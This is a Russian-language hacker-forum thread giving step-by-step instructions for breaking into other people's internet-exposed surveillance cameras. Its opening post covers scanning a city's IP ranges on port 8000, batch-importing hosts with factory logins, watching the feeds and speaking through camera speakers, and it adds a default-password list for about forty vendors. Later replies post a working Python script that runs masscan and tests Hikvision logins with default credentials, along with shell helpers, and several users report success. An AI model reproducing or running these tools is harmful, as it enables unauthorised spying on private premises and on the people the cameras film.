Статьи Камеры видеонаблюдения под наш контроль.

Discussion in 'Статьи' started by blaga, 17 May 2015.

  1. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    Всем привет. Статья о том как можно подключится к камерам наблюдения через интернет с дефолтными настройками.

    Оригинал статьи не мой. Я лишь переписал подробнее и добавил скриншотов.

    Итак, начнем.

    Первое с чем стоит определится это в каком городе будем искать камеры. Для примера я решил выбрать Новосибирск.

    Шаг 0 подготовительный. Качаем нужный софт, а именно:

    1. Прога для просмотра камер http://dl.hikvision.ru/soft/iVMS-4200(v2.3.0.5).exe (версия важна именно эта!)

    2. Прога для скана IP vnc_scanner_gui_1.2

    3. Скрипт для оформления IP в надлежащий вид http://pastebin.com/6MJeAD0K

    2 и 3 можно скачать тут https://www.sendspace.com/file/wfu28y

    (у кого есть возможность перезалейте, я потом добавлю в тему).



    Шаг 1. Ищем iP для нашего города. (Новосибирск)

    Заходим например сюда https://4it.me/getlistip и в поле «Введите город» вводим город Новосибирск

    [​IMG]



    Шаг 2. Добавляем найденные диапазоны в vnc scanner. Сканирование иногда занимает довольно много времени(от получаса до нескольких часов), так что есть смысл сканить за раз небольшое количество диапазонов.

    Запускаем vnc_scanner_gui_1.2.exe появляется окно

    [​IMG]

    Вставляем туда наши найденные диапазоны адресов (1)

    В отмеченных полях ставим порт 8000

    В поле со страной ставим Russian Federation (не уверен что это нужно прим. blaga)

    Нажимаем кнопку Start scan (2) – появится окно терминала и сканирование начнется.

    После окончания сканирования, окно терминала закроется и нужно нажать кнопку Start Parser (3)

    В итоге получаем список валидных IP адресов в файле IPs.txt




    Шаг 3. Приводим наши IP в удобноваримый вид для импорта.

    Устанавливаем python 3.4 для винды тут www.python.org/ftp/python/3.4.3/python-3.4.3.msi

    Затем берем файлик csv.py кладем его в одну из папок, в эту же папку кидаем файл IPs.txt с нашими IP адресами. По умолчанию этот скрипт создаст csv файл который мы потом скормим программе логин у каждой камеры будет admin пароль 12345 это заводские установки для камер фирмы hikvision (достаточно популярные) можно редактируя скрипт в обычном блокноте менять логины и пароли по умолчанию. (список дефолтных настроек для разных камер внизу статьи).

    Итак, положили скрипт и файл с IP вместе, можно кликнуть по скрипту дважды (в винде) и он выполнится и создаст csv файл для импорта. Если через дабл клик не запускается, запустите через командную строку, без параметров.



    Шаг 4. Теперь у нас есть готовый файл для импорта. Устанавливаем программу iVMS-4200(v2.3.0.5).exe, заходим в нее там будет Device Management- Вкладка Server– нажимаем Add Device - там выбираем Batch Import– выбираем наш csv файл.

    После того как наш файл загрузится список камер появятся в основном окне, и они начнут автоматически подключаться. Те что подключаться загорятся зеленой иконкой и у них появится serial no

    [​IMG]

    Те что не подключились можно удалить, а те что загорелись зеленым можно смотреть!

    Заходим в Main View, выбираем камеру и смотрим.

    Можно выбрать расположение камер (1) рекомендую в раз больше 1 камеры не смотреть, так меньше тормозит, камеру выбираем из списка при этом надо развернуть папку (2), так же некоторые камеры поддерживают удаленное управление (3), можно поворачивать камеры, приближать и т.д. (не рекомендую делать, можно спалиться), так же на некоторых камерах есть динамики и можно че нить пиздануть в микрофон и в помещении с камерой люди это услышат(не рекомендую, спалитесь 100%).

    [​IMG]
    Ну вот собственно и все.

    Призываю вас быть умными и не дестроить камеры, для того что бы такая тема прожила дольше.

    Не обязательно искать в России, можно вообще по всему миру искать.

    И еще если кто то сможет написать простой брутфорсер камер по словарю стандартных логинов \ паролей, будет вообще шикарно.

    Список стандартных доступов прилагаю.
    ACTi: admin/123456 or Admin/123456
    Arecont Vision: нет
    Avigilon: admin/admin
    Axis: root/pass, У новых моделей нет пароля по умолчанию. Пароль задаётся во время первой настройки.
    Basler: admin/admin
    Bosch: нет
    Brickcom: admin/admin
    Cisco: Нет пароля по умолчанию. Пароль задаётся во время первой настройки.
    Dahua: admin/admin
    Digital Watchdog: admin/admin
    DRS: admin/1234
    DVTel: Admin/1234
    DynaColor: Admin/1234
    FLIR: admin/fliradmin
    Foscam: admin/нет
    GeoVision: admin/admin
    Grandstream: admin/admin
    Hikvision: admin/12345
    Honeywell: admin/1234
    IQinVision: root/system
    IPX-DDK: root/admin or root/Admin
    JVC: admin/jvc
    Mobotix: admin/meinsm
    Panasonic: admin/12345
    Pelco Sarix: admin/admin
    Pixord: admin/admin
    Samsung Electronics: root/root или admin/4321
    Samsung Techwin (старая модель): admin/1111111
    Samsung Techwin (новая модель): admin/4321
    Sanyo: admin/admin
    Scallop: admin/password
    Sentry360 (mini): admin/1234
    Sentry360 (pro): нет
    Sony: admin/admin
    Stardot: admin/admin
    Starvedia: admin/нет
    Trendnet: admin/admin
    Toshiba: root/ikwd
    VideoIQ: supervisor/supervisor
    Vivotek: root/нет&gt
    Ubiquiti: ubnt/ubnt
    Wodsee: admin/нет

    Всем спасибо.

    Материал отсюда -
    http://pikabu.ru/story/shpionim_cherez_quotprivatnyiequot_kameryi_videonablyudeniya_3294899
     
    d0xDog, Adagumer, vinosh and 11 others like this.
  2. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    137
    Likes Received:
    43
    Reputations:
    26
    дожили, с пикабу "статьи" на ачат копипастят...
     
    volod7926 and SKin like this.
  3. Revers

    Revers Member

    Joined:
    18 May 2006
    Messages:
    18
    Likes Received:
    6
    Reputations:
    1
    makag likes this.
  4. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    ну вроде в нужный раздел. а вообще прием интересный, мне оч. понравился, я о таком более нигде никогда не видел.
    пикабу он такой, удивляться нечему...
     
  5. makag

    makag Staatsanwalt

    Joined:
    27 Sep 2009
    Messages:
    478
    Likes Received:
    564
    Reputations:
    98
    как ни странно, камер много с дефолтным доступом.

    ТС молодец, одобряю.
     
  6. Revers

    Revers Member

    Joined:
    18 May 2006
    Messages:
    18
    Likes Received:
    6
    Reputations:
    1
    Шаблон csv для открытия списка ip, чтоб вручную не вставлять.
    #
    "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"
    "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"
    "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"

    Копируем строчку "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" много раз, (сколько ip, столько и строчек)
    копируем список ip, затем в Notepad++ или AkelPad (или еще в чем-нить) выделяем через зажатый Alt столбик из фраз "тут должен быть ip" (без кавычек) и вставляем скопированный ранее столбик из ip, сохраняем в .csv и загружаем его через iVMS. С AkelPad можно проще. Взять за шаблон
    #
    "Camera001","0","","8000","0","admin","12345","0","0","0","0"
    и между кавычек вставляем столбик из ip через правка - выделение - вертикальная вставка или Alt+V, в Notepad++ не нашел такой функции. Таким образом можно сразу несколько десятков ip вогнать за пол минуты =) Вот еще руссик для софта https://yadi.sk/d/E7pGali0gGyQC и KPortScan 3.0, он лучше vnc сканнера https://www.sendspace.com/file/5odoea
     
    katrina and makag like this.
  7. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    вы мануал выше не читали видимо, там в комплекте идет скрипт питоновский которые все это делает автоматом. задаешь логин\пароль подсовываешь txt с ipшниками и готов файл csv для импорта.
     
  8. Revers

    Revers Member

    Joined:
    18 May 2006
    Messages:
    18
    Likes Received:
    6
    Reputations:
    1
    Не дочитал =(
     
  9. neocaine

    neocaine Member

    Joined:
    11 Jun 2015
    Messages:
    13
    Likes Received:
    5
    Reputations:
    0
    Всем привет написал скриптик на питоне Linux Only (из-за статичных путей), прошу сильно не пинать.
    Скрипт сканит диапазоны IP, все где открыт порт 8000 сохраняет в XML (средствами masscan), затем бежит по IP адресам в этом XML парсит страничку находящуюся на порту 8000 вставляя дефолтный логин и пароль, если подошел записывает в фаил, иначе переходит к следующему IP адресу.
    З.Ы. Камеры к которым уже подошел лог пасс второй добавляет в исключение, при повторном запуске пропускает.
    Есть пару неотлавливаемых ошибок, если кто хочет помочь дописать, оптимизировать, привязать морду (GUI), сделать кроссплатформенный прошу на github (filatovvo), irc (neocaine), или в личку.

    В диапазоне моей страны находит около 120 камер за первый пробег.



    Code:
    # INSTALL
    # Requirements
    # Root Priveleges
    # https://github.com/martinblech/xmltodict - XML To Dictionary Parser
    # https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning
    
    
    #CONSTANTS
    LOGIN = 'admin'
    PWD = '12345'
    SCRIPTRESULT = 'result.txt'
    LOGGINGLEVEL = 40  # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10
    ARCHIVEPATH = '/tmp/ipcam/archive//'
    ARCHIVEFOLDERNAME = 'archive'
    MASSCANFOLDER = '/home/neocaine/'
    MASSCANRESULT = 'scan.xml'
    MASSCANEXCLUDE = 'exclude'
    MASSCANCONF = 'cam.conf'
    MASSCANCAMPORTCONF = 'port = 8000'
    MASSCANOUTPUTFORMATCONF = 'output-format = xml'
    MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT
    MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE
    MASSCANRANGECONF = '''http-user-agent = [email protected]
    range = 31.136.209.0/21
    range = 218.31.161.0/20'''
    
    import requests
    import xmltodict
    import shutil, zipfile
    import os, logging, time
    from datetime import datetime, timedelta
    from urllib2 import urlopen
    import urllib2, httplib
    import socket
    import requests
    
    
    def make_conf_for_masscan():
        masscan_config = MASSCANRANGECONF + '\r\n'\
                        + MASSCANCAMPORTCONF + '\r\n'\
                        + MASSCANEXCLUDECONF + '\r\n'\
                        +  MASSCANOUTPUTFORMATCONF + '\r\n'\
                        + MASSCANRESULTCONF
    
        fname = MASSCANFOLDER + MASSCANCONF
        if os.path.exists(fname):
            os.remove(fname)
            open(fname, 'a').close()
            with open(fname, 'a') as masscan_conf:
                masscan_conf.seek(0)
                masscan_conf.write(masscan_config)
                masscan_conf.close()
        else:
            open(fname, 'a').close()
            with open(fname, 'a') as masscan_conf:
                masscan_conf.seek(0)
                masscan_conf.write(masscan_config)
                masscan_conf.close()
    
        fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE
        open(fnameExclude, 'a').close()
    
    def start_masscan():
        os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF)
    #MakeDir Function
    
    
    def mkdir(dir):
        logging.debug('_Function Called mkdir (dir = %s)' % dir)
        try:
            os.stat(dir)
        except:
            os.makedirs(dir)
    
    
    def zipdir(path, zip):
        logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip))
        for root, dirs, files in os.walk(path):
            for file in files:
                zip.write(os.path.join(root, file))
    
    
    def delete_previous_file():
        logging.debug('_Function Called deletePreviousFile')
        try:
            os.remove(MASSCANFOLDER + MASSCANRESULT)
            os.remove(MASSCANFOLDER + SCRIPTRESULT)
        except:
            logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER)
    
    
    
    def setup_custom_logger(name):
        formatter = logging.basicConfig(format=u'%(filename)s '
                                               u'[LINE:%(lineno)d]# '
                                               u'%(levelname)-8s '
                                               u'[%(asctime)s] '
                                               u'%(message)s', level=LOGGINGLEVEL)
    
        handler = logging.StreamHandler()
        handler.setFormatter(formatter)
        logger = logging.getLogger(name)
        logger.setLevel(logging.DEBUG)
        logger.addHandler(handler)
        return logger
    
    
    def test_default_log_pass(ip):
        logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip)
        url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime
        class MyException(Exception):
            pass
    
        try:
            a =urllib2.urlopen("http://"+ip, timeout = 3)
        except urllib2.URLError, e:
            logging.warning('Exception in urllib2.urlopen = %s', e)
            return 0
        except socket.timeout, e:
            logging.warning('Exception in socket = %s', e)
            return 0
        except socket.error, e:
            logging.warning('Exception in socket = %s', e)
            return 0
        except requests.ConnectionError, e:
            logging.warning('Exception in request = %s', e)
            return 0
        except requests.RequestException,e:
            logging.warning('Exception in request = %s', e)
            return 0
        except httplib.BadStatusLine, e:
            logging.warning('Exception in httplib = %s', e)
            return 0
        except:
            logging.warning("Unknown Exception while urllib2.urlopen")
            return 0
    
    
        logging.debug('Request Post To = %s', url)
        values = {'username': LOGIN,
                  'password': PWD}
        r = requests
        try:
            r = requests.post(url, data=values)
        except requests.ConnectionError, e:
            logging.warning('Exception in requests = %s', e)
            return 0
        except httplib.BadStatusLine, e:
            logging.warning('Exception in httplib = %s', e)
            return 0
        except:
            logging.warning("Unknown Exception while requests.post")
            return 0
    
        fname = MASSCANFOLDER + MASSCANRESULT
    
        if os.path.exists(fname):
            os.remove(fname)
            open(fname, 'a').close()
            with open(fname, 'a') as myxmlfile:
                myxmlfile.seek(0)
                myxmlfile.write(r.content)
                myxmlfile.close()
        else:
            open(fname, 'a').close()
            with open(fname, 'a') as myxmlfile:
                myxmlfile.seek(0)
                myxmlfile.write(r.content)
                myxmlfile.close()
    
        with open(fname) as fd:
            try:
                obj = xmltodict.parse(fd.read())
            except:
                logging.warning("Can`t Parse Required xml data")
                return 0
        try:
            if int(obj['userCheck']['statusValue']) == 200:
                print ip + ' Has Default Log Password'
                os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT)
                os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE)
        except:
            logging.debug("xml unknown format = %s",ip)
    
    def masscan_return_parser():
        fname = MASSCANFOLDER + MASSCANRESULT
        if not os.path.exists(fname):
            print(fname)
            print("WTF")
            exit()
        with open(fname) as masscanResult:
            objects = xmltodict.parse(masscanResult.read())
    
        for w in objects['nmaprun']['host']:
            logging.debug("Getting Ip from XML = %s", w['address']['@addr'])
            test_default_log_pass(w['address']['@addr'])
    
    logger = setup_custom_logger('root')
    datenow = datetime.now()
    unixtime = str(time.time() + timedelta(days=3).total_seconds())
    
    delete_previous_file()
    make_conf_for_masscan()
    start_masscan()
    masscan_return_parser()

    В дальнейшем планирую вытаскивать DYNDNS запись, если она настроена на камере, если нет то дописать туда рандомно числа и в случае успешного сохранения так же записать в фаил.
     
    sha4, makag, blaga and 1 other person like this.
  10. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    300
    Likes Received:
    45
    Reputations:
    24
    Просто и со вкусом!)
     
  11. krist11

    krist11 Member

    Joined:
    2 May 2012
    Messages:
    2
    Likes Received:
    12
    Reputations:
    10
    Мне больше по душе самые простые беспроводные WIFI камеры.
     
  12. VentaL74

    VentaL74 Member

    Joined:
    18 Jan 2011
    Messages:
    153
    Likes Received:
    79
    Reputations:
    10
    В поле со страной ставим Russian Federation (не уверен что это нужно прим. blaga)
    Не нужно, эта кнопа для парсинга ипов выбранной страны
     
  13. SaNDER

    SaNDER Banned

    Joined:
    9 Jul 2015
    Messages:
    213
    Likes Received:
    15
    Reputations:
    3
    При запуске на 1 секунду появляется консоль и исчезает запускал два раза,нечего не происходит .
    После чего я запустил CMD и вставил cvs.py
    Вот что вылезло,2 раза пробовал .
    C:\Users\*******>"C:\Users\*******\Desktop\Новая папка\csv.py"
    Traceback (most recent call last):
    File "C:\Users\*******\Desktop\Новая папка\csv.py", line 4, in <module>
    file = open('c:\\csv\\IPs.txt','r')
    FileNotFoundError: [Errno 2] No such file or directory: 'c:\\csv\\IPs.txt'




    Пробовал даже в CMD кинуть cvs.py потом нажимал пробел ложил IPs.txt,но все так же и без результатов .
     
    grom i molnia likes this.
  14. grom i molnia

    grom i molnia New Member

    Joined:
    22 Sep 2015
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    тоже не могу уже все прога чуть думает и все тишина не ругайте сильно спс
     
  15. lemfi

    lemfi New Member

    Joined:
    5 Jul 2015
    Messages:
    14
    Likes Received:
    3
    Reputations:
    0
    Все работает.
    Но есть пара недочетов.
    Максимально возможное кол-во камер -256
    А если у меня в файле 500+
    Я начал перебирать по одной связке нашел среди первых 256 -7 штук
    удалил 256 записей в текстовике
    потом он начал меньше на 7 портировать
    и тд и тп.
    Что можно с этим придумать?
    Может есть еще какой софт для просмотра камер, с возможностью импорта из таблицы excel? без ограничения на кол-во камер
     
  16. Trancerr

    Trancerr Member

    Joined:
    29 Sep 2015
    Messages:
    29
    Likes Received:
    5
    Reputations:
    0
    воспользовался способом ТСа, всё получилось, хоть и не с первого раза, за инструктаж отдельное спасибо
     
  17. vegetativniy

    vegetativniy Banned

    Joined:
    23 Dec 2013
    Messages:
    31
    Likes Received:
    10
    Reputations:
    5
    Хоть что-нибудь интересное попадалось?
    Одни склады, парковки, бомжи, да заводы.

    Пробовал более уникальные пассы делать, из 400 айпи 1-2 гудов попадаются, а на стандартные пассы уже говорил бомжи одни, еще это ограничение в 256 адресов, невозможно просто.
     
  18. sha4

    sha4 New Member

    Joined:
    28 Dec 2015
    Messages:
    2
    Likes Received:
    2
    Reputations:
    0
    Немного модернизации. Сканируем в масштабах города.

    Действие номер 1:
    Открываем https://4it.me Вбиваем свой город.

    Действие 2:
    копируем все диапазоны Вашего города в файл scan-r.txt

    Действие 3:
    Добавляем "range =" в начало каждой строки

    awk '{print "range = "$0}' /tmp/scan-r.txt > /tmp/scan-range.txt

    Действие 4:

    вставляем содержимое /tmp/scan-range.txt

    в параметр

    MASSCANRANGECONF = '''http-user-agent = [email protected]
    range = 31.136.209.0/21
    range = 218.31.161.0/20'''

    скрипта
    # INSTALL
    # Requirements
    # Root Priveleges
    # https://github.com/martinblech/xmltodict - XML To Dictionary Parser
    # https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning


    #CONSTANTS
    LOGIN = 'admin'
    PWD = '12345'
    SCRIPTRESULT = 'result.txt'
    LOGGINGLEVEL = 40 # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10
    ARCHIVEPATH = '/tmp/ipcam/archive//'
    ARCHIVEFOLDERNAME = 'archive'
    MASSCANFOLDER = '/home/neocaine/'
    MASSCANRESULT = 'scan.xml'
    MASSCANEXCLUDE = 'exclude'
    MASSCANCONF = 'cam.conf'
    MASSCANCAMPORTCONF = 'port = 8000'
    MASSCANOUTPUTFORMATCONF = 'output-format = xml'
    MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT
    MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE
    MASSCANRANGECONF = '''http-user-agent = [email protected]
    range = 31.136.209.0/21
    range = 218.31.161.0/20'''

    import requests
    import xmltodict
    import shutil, zipfile
    import os, logging, time
    from datetime import datetime, timedelta
    from urllib2 import urlopen
    import urllib2, httplib
    import socket
    import requests


    def make_conf_for_masscan():
    masscan_config = MASSCANRANGECONF + '\r\n'\
    + MASSCANCAMPORTCONF + '\r\n'\
    + MASSCANEXCLUDECONF + '\r\n'\
    + MASSCANOUTPUTFORMATCONF + '\r\n'\
    + MASSCANRESULTCONF

    fname = MASSCANFOLDER + MASSCANCONF
    if os.path.exists(fname):
    os.remove(fname)
    open(fname, 'a').close()
    with open(fname, 'a') as masscan_conf:
    masscan_conf.seek(0)
    masscan_conf.write(masscan_config)
    masscan_conf.close()
    else:
    open(fname, 'a').close()
    with open(fname, 'a') as masscan_conf:
    masscan_conf.seek(0)
    masscan_conf.write(masscan_config)
    masscan_conf.close()

    fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE
    open(fnameExclude, 'a').close()

    def start_masscan():
    os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF)
    #MakeDir Function


    def mkdir(dir):
    logging.debug('_Function Called mkdir (dir = %s)' % dir)
    try:
    os.stat(dir)
    except:
    os.makedirs(dir)


    def zipdir(path, zip):
    logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip))
    for root, dirs, files in os.walk(path):
    for file in files:
    zip.write(os.path.join(root, file))


    def delete_previous_file():
    logging.debug('_Function Called deletePreviousFile')
    try:
    os.remove(MASSCANFOLDER + MASSCANRESULT)
    os.remove(MASSCANFOLDER + SCRIPTRESULT)
    except:
    logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER)



    def setup_custom_logger(name):
    formatter = logging.basicConfig(format=u'%(filename)s '
    u'[LINE:%(lineno)d]# '
    u'%(levelname)-8s '
    u'[%(asctime)s] '
    u'%(message)s', level=LOGGINGLEVEL)

    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger = logging.getLogger(name)
    logger.setLevel(logging.DEBUG)
    logger.addHandler(handler)
    return logger


    def test_default_log_pass(ip):
    logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip)
    url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime
    class MyException(Exception):
    pass

    try:
    a =urllib2.urlopen("http://"+ip, timeout = 3)
    except urllib2.URLError, e:
    logging.warning('Exception in urllib2.urlopen = %s', e)
    return 0
    except socket.timeout, e:
    logging.warning('Exception in socket = %s', e)
    return 0
    except socket.error, e:
    logging.warning('Exception in socket = %s', e)
    return 0
    except requests.ConnectionError, e:
    logging.warning('Exception in request = %s', e)
    return 0
    except requests.RequestException,e:
    logging.warning('Exception in request = %s', e)
    return 0
    except httplib.BadStatusLine, e:
    logging.warning('Exception in httplib = %s', e)
    return 0
    except:
    logging.warning("Unknown Exception while urllib2.urlopen")
    return 0


    logging.debug('Request Post To = %s', url)
    values = {'username': LOGIN,
    'password': PWD}
    r = requests
    try:
    r = requests.post(url, data=values)
    except requests.ConnectionError, e:
    logging.warning('Exception in requests = %s', e)
    return 0
    except httplib.BadStatusLine, e:
    logging.warning('Exception in httplib = %s', e)
    return 0
    except:
    logging.warning("Unknown Exception while requests.post")
    return 0

    fname = MASSCANFOLDER + MASSCANRESULT

    if os.path.exists(fname):
    os.remove(fname)
    open(fname, 'a').close()
    with open(fname, 'a') as myxmlfile:
    myxmlfile.seek(0)
    myxmlfile.write(r.content)
    myxmlfile.close()
    else:
    open(fname, 'a').close()
    with open(fname, 'a') as myxmlfile:
    myxmlfile.seek(0)
    myxmlfile.write(r.content)
    myxmlfile.close()

    with open(fname) as fd:
    try:
    obj = xmltodict.parse(fd.read())
    except:
    logging.warning("Can`t Parse Required xml data")
    return 0
    try:
    if int(obj['userCheck']['statusValue']) == 200:
    print ip + ' Has Default Log Password'
    os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT)
    os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE)
    except:
    logging.debug("xml unknown format = %s",ip)

    def masscan_return_parser():
    fname = MASSCANFOLDER + MASSCANRESULT
    if not os.path.exists(fname):
    print(fname)
    print("WTF")
    exit()
    with open(fname) as masscanResult:
    objects = xmltodict.parse(masscanResult.read())

    for w in objects['nmaprun']['host']:
    logging.debug("Getting Ip from XML = %s", w['address']['@addr'])
    test_default_log_pass(w['address']['@addr'])

    logger = setup_custom_logger('root')
    datenow = datetime.now()
    unixtime = str(time.time() + timedelta(days=3).total_seconds())

    delete_previous_file()
    make_conf_for_masscan()
    start_masscan()
    masscan_return_parser()

    не забудьте выставить LOGIN и PASS

    Действие 5:

    после скрипта будет файл scan.xml

    из него нам нужно вытащить все IP адреса

    cat /tmp/scan.xml | awk '{print $3}' | egrep -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > /tmp/scan.txt

    файл /tmp/scan.txt будет содержать только IP адреса из файла scan.xml

    Действие 6:

    Полученный на этапе 5 файл scan.txt нужно распарсить по 256 строк
    создаем файл split.sh

    #!/bin/bash
    # split.sh
    if [ -z "$1" ]; then
    echo "Need file name as parameter"
    fi
    L=256
    M=$(wc -l "$1" | egrep -o '^[0-9]+')
    N=$((M / L))
    if [[ $((N*L)) -lt $M ]]; then
    tail -n$((M - N*L)) "$1" > "$1$((N+1))";
    fi
    for ((i=0; i<N; i++)); do
    head -n$((i*L + L)) "$1" | tail -n$L > "$1$i";
    done

    запускаем split.sh

    ./split.sh /tmp/scan.txt

    на выходе будет куча файлов с IP адресами по 256 строк.

    Действие 7:

    скармливаем кадый файл с 256 IP адресами из предидущего действия следующему скрипту

    login = 'admin'
    passw = 'admin'

    file = open('/tmp/scan.txt','r')
    csv = open('/root/out_'+login+'_'+passw+'.csv','w')

    k = 0

    for line in file:
    temp = '"' + str(k) + '_ip1","0","'+line[0:-1:1]+'","8000","0","'+login+'","'+passw+'","0","1","0","0"'+'\n'
    csv.write(temp)
    k += 1

    csv.close()
    file.close()

    На выходу будем иметь файл для скармливания Программе для камер
     
    The_Doc and grimnir like this.
  19. Tuvan

    Tuvan New Member

    Joined:
    1 Jan 2016
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    дружище ,написано же что не может найти файл на диске c в папке csv, надеюсь твой файл со скриптом там находится?
     
  20. SaNDER

    SaNDER Banned

    Joined:
    9 Jul 2015
    Messages:
    213
    Likes Received:
    15
    Reputations:
    3
    в этом то и проблема,все как надо сделал .